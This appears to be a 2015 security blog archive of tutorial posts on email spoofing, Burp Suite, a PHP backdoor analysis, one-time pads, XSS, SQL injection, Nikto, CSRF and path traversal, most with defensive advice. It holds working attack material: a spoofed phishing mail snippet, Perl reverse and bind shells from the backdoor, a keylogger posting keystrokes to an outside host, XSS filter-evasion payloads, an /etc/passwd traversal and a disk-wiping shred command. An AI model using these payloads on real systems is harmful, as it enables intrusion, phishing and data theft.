Wednesday, November 18, 2015

SPF and Email Spoofing

MOved to New Site

The simple block of code that is used by PHP devs everywhere for "Contact Us" forms everywhere:

        <?php
        $to = "receive@gmail.com";
        $subject = "Hi";
        $txt = $_POST["body"];
        $headers = "From: $_POST["contact"]";
        mail($to,$subject,$txt,$headers);
        ?>

So the idea came, "What if I just put whatever I want?"

        <?php
        $to = "victime@gmail.com";
        $subject = "Password Change";
        $txt = "Change your password by visiting here - [VIRUS LINK HERE]!";
        $headers = "From: support@google.com";
        mail($to,$subject,$txt,$headers);
        ?>


What is stopping a person from just filling any header data to masquerade as a legitimate contact?
The solution to this little issue is Sender Policy Framework (SPF.)

When the receiving mail server gets an email it will look at the 'Return-Path' header and grab the domain from the sender's address. It will then check the SPF record, which is stored on DNS servers, that correlates with the 'Return-Path's domain and ensure that the senders IP/domain (Received header) is approved of by the SPF.

Simple example:
v=spf1 include:_spf.google.com ~all

The beginning:
"v=spf1" is the version definition. spf1 is the only version, it is mandatory and will be at the beginning of all SPF records.

The middle:
The testing parameters are here. How the sender's domain is compared to DNS entry can be specified in many ways (There is a ton of different nomenclature; explanation listed here: http://www.zytrax.com/books/dns/ch9/spf.html) For this example there is only an 'include' which tells the user to restart the SPF verification test against this new domain (_spf.google.com instead of google.com)

So if you drop that domain into an SPF reader you get this:
v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all

Same deal, just three includes, check the first netblocks and you get this:
v=spf1 ip4:64.18.0.0/20 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:207.126.144.0/20 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all

So if an email's sender's domain matches with any of the IP addresses listed in the SPF record then it will pass.

The ending:
+all = pass
?all = neutral = email will be accepted
~all = soft fail = will be accepted, but marked
-all = fail = will be rejected


This is where the SPF record gives instruction on what to do with an email that failed to meet the parameters fails. So this is the part that we are interested in when it comes to spoofing.

Complex example:
v=spf1 mx include:_spf.google.com +a:mail1.keybase.io +a:mail2.keybase.io -all
google-site-verification=2_x9kakVn08nlY19drRYak0gT8V7--0gD30LuHeQgDc


In this example you can see that keybase.io is using a hard fail for any message that fails to meet its parameters. So what happens to the message?


A one way ticket to the gmail's automatic spam filter.


 
Here are a couple of tools to check a site's SPF:
http://www.kitterman.com/spf/validate.html
http://mxtoolbox.com/spf.aspx
 
 

Friday, September 11, 2015

Burp Suite Set Up Tutorial + Small Intruder

Moved to New Site

Burp Suite is a need to know tool for people looking to be more effective in their web app pen testing. Burp has set of tools that will help

Here is how to get it set up.
Visit:

https://portswigger.net/burp/download.html

It is a Java program, so you will need a run time environment installed. Here

Find a home directory for your jar file and fire it up with a double click or else you can start it with cmd and allocate the JRE some extra memory (2gb)

java -Xmx2g -jar C:\directory\burpsuite.jar

We will set up the Proxy settings first.

Proxy, Options, Checkbox

If you know what a Proxy is, skip over
-----------
So why do you need to set up this proxy? To intercept traffic of course.
Here is a simplified way to think of it. Normal internet traffic goes like this:
Browser --> Web Server

Now with a proxy set up
Browser --> Proxy --> Web Server

Not a complicated idea.
-----------

Now that the proxy is up and running you need to point your browser to the proxy.

For this step I recommend downloading a browser you don't normally use, Firefox or Chrome, that can just be your 'Burp browser' and not worry about having to roll settings around so much.

In Firefox,
Tools -> Options -> Advanced -> Network -> Settings

manual proxy


Match the IP and Port to what Proxy listeners are set up in your instance of Burp.

Check to see if it works!
visit http://burp
or visit another site and check to see if HTTP history tab is populating while visiting sites.

httpHistory



Now HTTP traffic will go through fine, but we need to get HTTPS set up as well.

Visit http://burp and click CA Certificate, download the cert.

Now install the Cert:
For Firefox:
Tools -> Options -> Advanced -> Certificates -> View Certificates -> Import -> (Select the Burp Cert) -> "Trust this CA to id websites - > Ok -> Ok -> Restart Firefox

Now you can visit HTTPS sites.

You might notice that your traffic has stopped, You click around the web and nothing is happening, check the Intercept is turned off, at least until you need it.

intercept is off



--------------------------------

Navigate to the URL you want to play with, turn on the Interceptor and capture some info, turn off the Interceptor. Check Proxy->HTTP history and see the list of URLs.
Ensure the Parameters check box is true and right click to see the plethora of options:

Click on the "Send to Intruder"

Target: confirm the target url/port
Positions: Attack type: Sniper, clear all selections. Then highlight the one or two parameters you want to play with and click the Add button the right.
Payload/Options really depend on what it is you are trying to do. I'm a slouch, so XSS it is, but Burp doesn't have a native XSS detection, but these folks made a nice extension. I recommend trying it out.

https://blog.nvisium.com/2014/01/accurate-xss-detection-with-burpsuite.html

Don't be scared, added an extension is very easy.

After all the options are set up, fire away! Click on start attack and go watch a movie, cause you have the demo and that means your attacks are time throttled!
attackerlate it

I'm still getting used to all that Burp has to offer, so expect more robust tutorials in the future.

Tuesday, May 26, 2015

PHP Backdoor File Analysis

Moved to New Site

An attack file found by Dylan over at: http://closingtags.com/
Source code with annotations
File named wp-class.php
Is stored as such:
eval(base64_decode("Ly8kYXV0aHBhc3MgPSAiN...
Encoded in a long encoded string, to help hide the contents.

General Info:
This file is for maintaining access after a backdoor is found, containing a command interface for Windows and Unix, some GUI tools, and a some self preservation functionality.

The backdoor functionality is only available if you have a cookie with the correct password set.
$authpass = "7b24afc8bc80e548d66c4e7ff72171c5";
That password is an MD5 hash of the word 'toor' which is root backwards.
Just a simple password makes me think that this is the work of a script kiddy versus an actual hacker.

The functionality of the php program is run thru one of the last lines
call_user_func('action' . $_POST['a']);

Which is just a callback function. So depending on the Post value any of the "action*" functions can be used, with the default being FilesGirls

Functions
FilesGirl is a file management form that is rendered in wsoFooter() and looks similar to the image below.
Functions come from a case-switch based on a hidden field named 'p1'
case 'uploadFile' -> Uploads a file
case 'delete': -> will recursively work through a directory and unlink the contents
case 'paste': - > based off of $_COOKIE['act'] a file is moved, copied, zipped, or unzipped.
section of backdoor gui






actionSecInfo()
One of the more interesting things inside that function is the three lists
$userful <- "their typo, not mine"
$danger, and
$downloaders
Here is a full one: $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');

It'll then cycle thru the 3 lists calling function wsoWhich($p)

function wsoWhich($p) {
    $path = wsoEx('which ' . $p);
    if(!empty($path))
        return $path;
    return false;
}

//which is a Unix command used to identify the location of executables

A curious thing is that the backdoor will retrieve information to the attacker about possible scanners that would discover this attack file, but only in the Unix environment.
It doesn't try and self sustain in a Windows environment, maybe because almost no one runs WordPress in a Windows environment.

There is a function to remove the attack file from the server
function actionSelfRemove()


actionNetwork()
Contains two encoded variables $back_connect_p and $bind_port_p you can look at the value in the source code.
$back_connect_p =
#!/usr/bin/perl
use Socket;
$iaddr=inet_aton($ARGV[0]) || die("Error: $!\n");
$paddr=sockaddr_in($ARGV[1], $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system('/bin/sh -i');
close(STDIN);
close(STDOUT);
close(STDERR);


and
 
$bind_port_p =
#!/usr/bin/perl
$SHELL="/bin/sh -i";
if (@ARGV &lt; 1) { exit(1); }
use Socket;
socket(S,&amp;PF_INET,&amp;SOCK_STREAM,getprotobyname('tcp')) || die "Cant create socket\n";
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
bind(S,sockaddr_in($ARGV[0],INADDR_ANY)) || die "Cant open port\n";
listen(S,3) || die "Cant listen port\n";
while(1) {
    accept(CONN,S);
    if(!($pid=fork)) {
        die "Cannot fork" if (!defined $pid);
        open STDIN,"&lt;&amp;CONN";
        open STDOUT,"&gt;&amp;CONN";
        open STDERR,"&gt;&amp;CONN";
        exec $SHELL || die print CONN "Cant execute $SHELL\n";
        close CONN;
        exit 0;
    }
}

These functions allow the attacker to open specific ports on he server.

actionBruteforce()
Defines a particular version of wsoBruteForce() that does brute force log in attempts of a ftp, mysql, or pgsql servers.

actionConsole()
Creates a textarea that can be used to enter console commands to the server.

actionSql()
Predefined set of sql commands for ease of gathering data.

Doing some google fu, it is possible to find that there is some history with the file called "wp-class.php" and there are even some instances where the file is still active.
What should be your take away?
Regularly check or ports.
Know the default files needed for your CMS.
Keep your CMS updated.
Learn to decode files at http://ddecode.com/phpdecoder/

Sunday, May 10, 2015

Shred - Kali

Moved to New Site

Need to securely wipe a HDD?
This is the only command you'll need

shred -vfz -n 20 /dev/sdb

shred

 The shred command is not exclusive to Kali, you will find it in any distro that has the GNU core utilities
-v - verbose, shows all those progress lines
-f - ensures that permission issues will not stop deletion
-z - 0s - write a final line of 0s afterward to hide the shredded data
-n - number of passes to make, in this case 50 + 1 (from the z) = 51passes
 /dev/sdb - disk location

Note: This command can be used for individual files as well.

Sunday, April 26, 2015

One Time Pad - Cryptography

Moved to New Site

In cryptography there is only one method that has been mathematically proven to be 100% secure. This method is the one time pad (OTP).
A one time pad is a key that is the same length as the plaintext message that it is trying to encrypt.

Remember XORs? I'll be using the ^ to denote the XOR symbol, since it is the same as C++'s.
Here is a quick demonstration.

message1 in ascii:
Hello World!
message1 in hex:
48656c6c6f20576f726c6421
That is 24 hex characters.

So for our key we will use this guy
edbf0bc557f77222dab455ca
Courtesy of random.org

message1 ^ key = ciphertext1 =
a5da67a938d7254da8d831eb

If the key is truly random, and only used once, then ciphertext1is guaranteed o be perfectly secure.
There is no repeating pattern from a short key being repeated along the message, no dependency upon the message for substitution and transposition functions.
The method is also immune to brute-force attacks, as any plaintext could be created.

Now on to the fun stuff, why is this called a ONE time pad?
Because if you use it more than once, all secrecy is lost.

Say we want to encrypt a second message with the same key as above.

Second message:
Jazzy Ladies
in hex
4a617a7a79204c6164696573

message2 ^ key = ciphertext2 =
a7de71bf2ed73e43bedd30b9

Now an attacker was able to grab the ciphertexts from your poorly trained messenger pigeon and notices that both messages are the same length, this gets him to thinking you are using a OTP.

The attacker as a pretty good grasp of English and knows some common ways to start sentences "Hello, Hi, How, Sup, That, and It"

Take the hex value of each word and appends 0's to the end to make it the same length.
Each of these words is called a crib.

For the sake of brevity the attacker started with the crib "Hello "

ciphertext1 ^ ciphertext2 =
02 04 16 16 16 00 1B 0E 16 05 01 52

crib ("Hello "+ padded 00s) =
48 65 6C 6C 6F 20 00 00 00 00 00 00

ciphertext1 ^ ciphertext2 ^ crib
4A 61 7A 7A 79 20 00 00 00 00 00 00

ciphertext1 ^ ciphertext2 ^ crib as ASCII:
"Jazzy "

To summarize the above workings. If any guessed word appears either of the messages it will reveal the corresponding letters of the other message. If you are able to guess a word that would be in the message, you'll still need to guess the placement of the word in the message; This is accomplished by trying every possible position i.e. Crib Dragging.

It is based on the premise below
message1 ^ key ^ message2 ^ key =
ciphertext1 ^ ciphertext2 =
message1 ^ message2

This is why the key cancels itself out and renders it moot.

There is a small crib dragging tool here: Crib Dragging Git If a OTP can provide perfect secrecy, then why is it not used? There is still the matter of transporting the key to the party who needs to decode your message. The transportation of a key needs to be done in a secure way, and if the key is the same size as the message and cannot be used more than once, as shown above, you may as well just transport the original message with said means.

Sunday, March 29, 2015

OWASP Attacks Part 3.1 Injection

Moved to New Site

Cross Site Scripting (XSS)
XSS is a type of injection attack that trys to execute a foreign piece of javascript  in anothers browser.
XSS has the two victims, the first being a website/service that allows an attacker to "lay the trap" for the sites group of users. The second victim is the end user who navigates to a site where there is javascript being executed from a seemingly reliable source.

The possibilities of what an XSS attack can accomplish are huge.
You could set up a keylogger:
/*
Simple javascript keylogger by Th3_M4d_H4tt3r
*/

document.onkeypress = function(evt) {
   evt = evt || window.event
   key = String.fromCharCode(evt.charCode)
   if (key) {
      var http = new XMLHttpRequest();
      var param = encodeURI(key)
      http.open("POST","http://pyworm.noads.biz/keylogger.php",true);
      http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
      http.send("key="+param);
   }


or steal cookie information via document.cookie, or do repoints (window.location.assign()), etc

There are two main categories. Reflective and Stored.
Reflective is when a script is executed from a url variable/get request, by means of a temporary storage; For a reflective attack a url would have to be crafted and delivered to the victim (email,im, etc)
Stored is when a script is stored in the website's database and is executed each time the page loads.
Example:
Save a script as your first name. Then anytime someone views your profile the script fires.

The most simple code to test with is a simple
<script>alert(1)</script>

Most filters will catch this nowadays, so don't expect to hack the planet with it.
Google "XSS filter evasion" if you want to find a whole lot of tricks that people are doing to bypass all the different filters out there.

Some intersting filter evasions:
<scr<script>ipt>alert(1)</scr</script>ipt>
This can be used if see that a filter is pulling out <script> tags, if it removes and concats the substrings without checking their new result then your attack will land.

Use a character encoder, like this http://ha.ckers.org/xsscalc.html To turn this
<script>alert(1)</script> into this
%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E

Using HTML attributes to initiate javascript can be used if you cannot get the <script> tags past the filter.
<img src=x onerror=alert(1)>
<img src=x onmouseover=alert(1)>
<img src=javascript:alert(1)>

Obfuscation is the practice of obscuring the code with extraneous information that will  allow the attack to slip by the filter.
<img src=`javascript:alert(1)`>
<body onload!#$)*~+-_.,`=alert(1)>


The most important thing to keep in mind is that if a tactic is on a public evasion sheet, the filter makers know about it, but I've found that I will have more luck if I mix the evasion tactics of one, two, or three into a single attack.

Defense tips
HTML encoding is usually the first thing people throw out:
PHP's htmlentities()
.Net v4's System.Net.WebUtility.HtmlEncode

But there are also some other best practices that you can use to help keep your site secure.
1. Know where all outside data is rendered on your site.
2. Know the default storage state of information, notate the columns in a database that store unescaped information.
3. Be aware that HTML encoding, Hex encoding, and URL encoding all exist and know where to implement them.

Wednesday, February 25, 2015

OWASP Attacks Part 3 Injection

Moved to New Site

This is the subject with the widest breadth. I'll not be able to cover every kind of injection attack out there, but I will still mention them so you can look them up if you are curious, but the subject of injection will probably span a few posts.

SQL Injection
This occurs when query parameters are acquired from the end user and they contain characters that will cause the SQL command to execute in a way that it was not intended.

Lets have an example, here is a little query:
select `social_security_no` from `sensitive_table` where `user_name` = 'jclark' and `password`= 'superSecret';

What would happen if someone created a user account with some non-alpha-numeric characters?
Something like user name = "*';--";

select `social_security_no` from `sensitive_table` where `user_name` = '*';--' and `password`= 'passwordPants';

Here you see the user name, with it's unescaped characters, will have a big impact on how this query executes.
The system will now select all the SSNs where username is equal to a wildcard character, and the -- will comment out the rest of the query.
So it will effectively return all the SSNs stored in the table.

There are several methods that can be used to help protect your queries.
Regular Expressions, PHP's PDO, PHP's addslashes(), .NET's  SqlParameter Class, and many more.

Blind SQL Injection
The term is derived from the fact that you may not be printing the data returned from the query out to the page, but the query is still running.
Check out the following pseudo-code:

try{ 
    sql_command = "select * from table where parameter='parm_from_url'";
    if(execute(sql_command)!=null)
        LoadPageOne();
}
catch(Exception ex){
    //show 404 page
}

You can see here that even though a page doesn't show data that is returned from the SQL command directly, there is still the indirect knowledge that is gained by which page loads. This allows an attacker to ultimately ask your database true or false questions.
Although slow, it it still a data leak that could lead to ruin.

Comment Injection Attack
Comment commands in code are super handy for developers, but if input from end users isn't properly parsed, large chucks of your code could become a comment and not run correctly anymore.
The goal of this attack is to get a program to disregard a portion of itself as a comment, causing a huge variety of outcomes. The goal usually is to bypass parameter sanitization 

We touched on this a little above. With the -- MySql comment character. There is also #, ,  and /*, for the different flavors of SQL. These will truncate the the rest of the SQL command so that the attackers query can execute without worrying about providing data for the rest of the parameters.

The PHP comments // and /* can cause problems if not properly escaped,i.e. \/\/ or \/*.

The most common one I've seen is an inability to handle the HTML comment opening tag <!--
Nothing gives me more join than dropping this meatball in a form and then seeing the page stop rendering half way down after submission.

Be sure to test your URL variables, form information, and even cookie information before allowing it to leave its dirty makes on your code and database. 

Sunday, February 8, 2015

Nikto - Kali

Moved to New Site

Intro
Nikto is a, non-stealth, web vulnerability scanner. So don't think the NSA doesn't know you are using it. This tool is easy to get some quick results, so I especially recommend it to beginners.
The real charm of nikto is that most positive results come with the layman's description and a link. (Read the contents of these links to become better at life.)
You can initiate your first scan with this command

nikto -h <IP or Host name>

Lets see what we get!
nikto results

First line is a finger print of the server's operating system. Sometimes you get very specific info, sometimes you don't. Obviously we didn't get very specific data here.

Next is the header scanner, cookie scanner, standard stuff.
The next line of real interest, and I wish they made it stand out more, is:
Web Server returns a valid response with junk HTTP methods, this may cause false positives.

Be sure to keep an eye out for this line. This usually means the site is using some type of url route functionality, ie ng-route or $.route/$.Observe.

Then when the fluff clears, all that is left is a field of OSVDB numbers. I know I have not discussed OSVDB before, but you can check it out here. http://osvdb.org/ To be brief, they are well known and well used repository of vulnerabilities and I will probably give them their own blog post in the future.

But for today, just know that each of those numbers can be used at osvdb.org to find an in depth explanation

Nikto Options

An exhaustive list of nikto commands can be found here: https://cirt.net/nikto2-docs/options.html

But I'll talk about some of the more interesting ones here:
nikto -evasion 8 -h <IP or Host name>

There are some different evasion options available to you:
1: Random URI encoding (non-UTF8)
2: Directory self-reference (/./)
3: Premature URL ending
4: Prepend long random string
5: Fake parameter
6: TAB as request spacer
7: Change the case of the URL
8: Use Windows directory separator (\)
A: Use a carriage return (0x0d) as a request spacer
B: Use binary value 0x0b as a request spacer


nikto -no404 -h <IP or Host name>

no404 disables 404 checking and will help keep your scan from becoming a DoS.

nikto -Tuning 4 -h <IP or Host name>

Not looking to throw the book at a target? You can use the tuning options listed below to waste less time and only scan what you are interested in:
0: File Upload
1: Interesting File / Seen in logs
2: Misconfiguration / Default File
3: Information Disclosure
4: Injection (XSS/Script/HTML)
5: Remote File Retrieval - Inside Web Root
6: Denial of Service
7: Remote File Retrieval - Server Wide
8: Command Execution / Remote Shell
9: SQL Injection
a: Authentication Bypass
b: Software Identification
c: Remote Source Inclusion
x: Reverse Tuning Options (i.e., include all except specified)

Friday, January 16, 2015

OWASP Attacks Part 2 - Exploitation of Authentication

Moved to New Site

Cross-Site Request Forgery (CSRF) aka One-Click attack
The goal of a CSRF is not to steal information directly, but to force a user into performing actions that they are unaware of.
A cornerstone premise for this attack is that a site/application that you are logged into will perform all actions as you since your credentials are already stored via cookie or session variables.
For example,
Say an attacker knows Dennis uses Bank of Canada's web site.
Say the attacker knows of a CSRF vulnerability on the BOC website that can be performed with URL manipulation, something like this:

www.bankofcanada.com/transfer.php?account=5555&amt=400

If Dennis is logged into his BOC account and visits this link, 400 of his hard earned loonies are transferred over to the owner of account number 5555.
How can we get Dennis to visit this link?
We could XSS a site that he regularly visits, or we could use the company email that allows HTML, something like

<a href="https://www.blogger.com/www.bankofcanada.com/transfer.php?account=5555&amt=400">Look at this stupid cat!</a>

Dennis' insatiable love of cats just cost him $400.
There are countless ways of getting a person to click on a link. People hate blue links.

You should check your site to ensure there is not functionality that can be initiated purely from the URL or from any GET commands.

To detect this vulnerability you can set up a proxy between a browser and the site and examine the requests being made and then try to inject those same requests when logged in as another user.

There are a lot of ways that a site can defend its user base from such attacks. The most simple is to enforce session time out for users that are logged in, this is by no means a catch all, but it will help.
The best defense is to implement a  Synchronizer Token Pattern.
A random token is generated and included in forms/procedures of a site that ensure that a request to that functionality came from the site itself and not from an outside link/script.

Session Hijacking
When you log into a web site or web application the server needs to keep track of who you are, it does this by creating a Session ID. A session ID is a long string of alpha-numerical characters that is unique to your session with the server.
A session hijacking attack occurs when it is possible for an attacker to successfully obtain your session id or guess a future session id.

A session id can be stolen from network sniffing, a man-in-the-middle attack, cookie stealing, or XSS.
Once stolen an attacker can use a site/application while masquerading as the victim.

To help prevent session hijacking be sure your site has an up to date certificate and supports use of HTTPS.
Use a long, random session id, do not use something predictable such as the user id.
Do not reuse session ids.
Encourage users to log off after they are finished and include session timeout functionality, this will help prevent hanging sessions.


Monday, January 5, 2015

OWASP Attacks Part 1 Abuse of Functionality

MOved to New Site

If you are getting into security you should be very familiar with OWASP (Open Web Application Security Project.) They provide a huge amount of information about securing and attacking web applications. This series will glaze over all the attacks listed on their site and serve as either notes or primer info.

Abuse of Functionality
This occurs when an attacker can use a specific feature in your web application to meet an effect that you did not intend.

Account name harvesting
Most sites include a form that can be submitted to request a new password to be emailed to you if you have forgotten your creds. The form is normally just an email address or a user name input box and a submit button.
After this form submission they site responds in one of two ways
1. 'No account associated with that email/username' or 'User is not found' type of message
2. 'Password sent, please check spam filter' or 'A link to update your password has been sent'

This is improper, no matter if a username/email has a valid account on your system your page should always respond that consistently.
If not, you run the risk of an attacker abusing the functionality and harvesting a list of valid user names/emails that take use of your services.

This might not seem like much, but you will want to implement it to help fight against data aggregation

Single User DoS
Most sites will implement a three strike rule when it comes to logging in; Enter the wrong creds three times and there will be a temporary lock on the account or it will send email to the user to reset their password.
This is a feature that is implemented for the point of protecting us from password guessing attacks, but if an attacker knows a user that he needs disabled for a few minutes, he may just submit three false log ins for that account and let the system block his access for you?

Path Traversal
The goal of a path traversal is to point the application to the disk unkown, outside of the web root and into other roots.
The most ubiquitous tool for this is ../
This is the symbol used to move up one directory level.
It is most commonly done through URI manipulation, but can also be done with cookie manipulation.
Take a look at the url below:

http://noparse.com/load.php?get=/var/www/html/get.php

We could alter it:
http://noparse.com/load.php?get=../../../../../../../etc/passwd

Now this is just to give you a taste of how this attack works, and by no means exhaustive list, you are just one google search away from that:

Pro Tip: A fun way to look for these is with google, search for "inurl:'some directory'"

Client Side
This cannot be said enough, know the difference between client side and server side. All too often developers do not have a holistic view of their web app. Any verification of data integrity or character escaping you do on in client side languages can be bypassed 100% with zero effort on the attacker's part.
Always verify data on the server side.
Burn that phrase into your brain.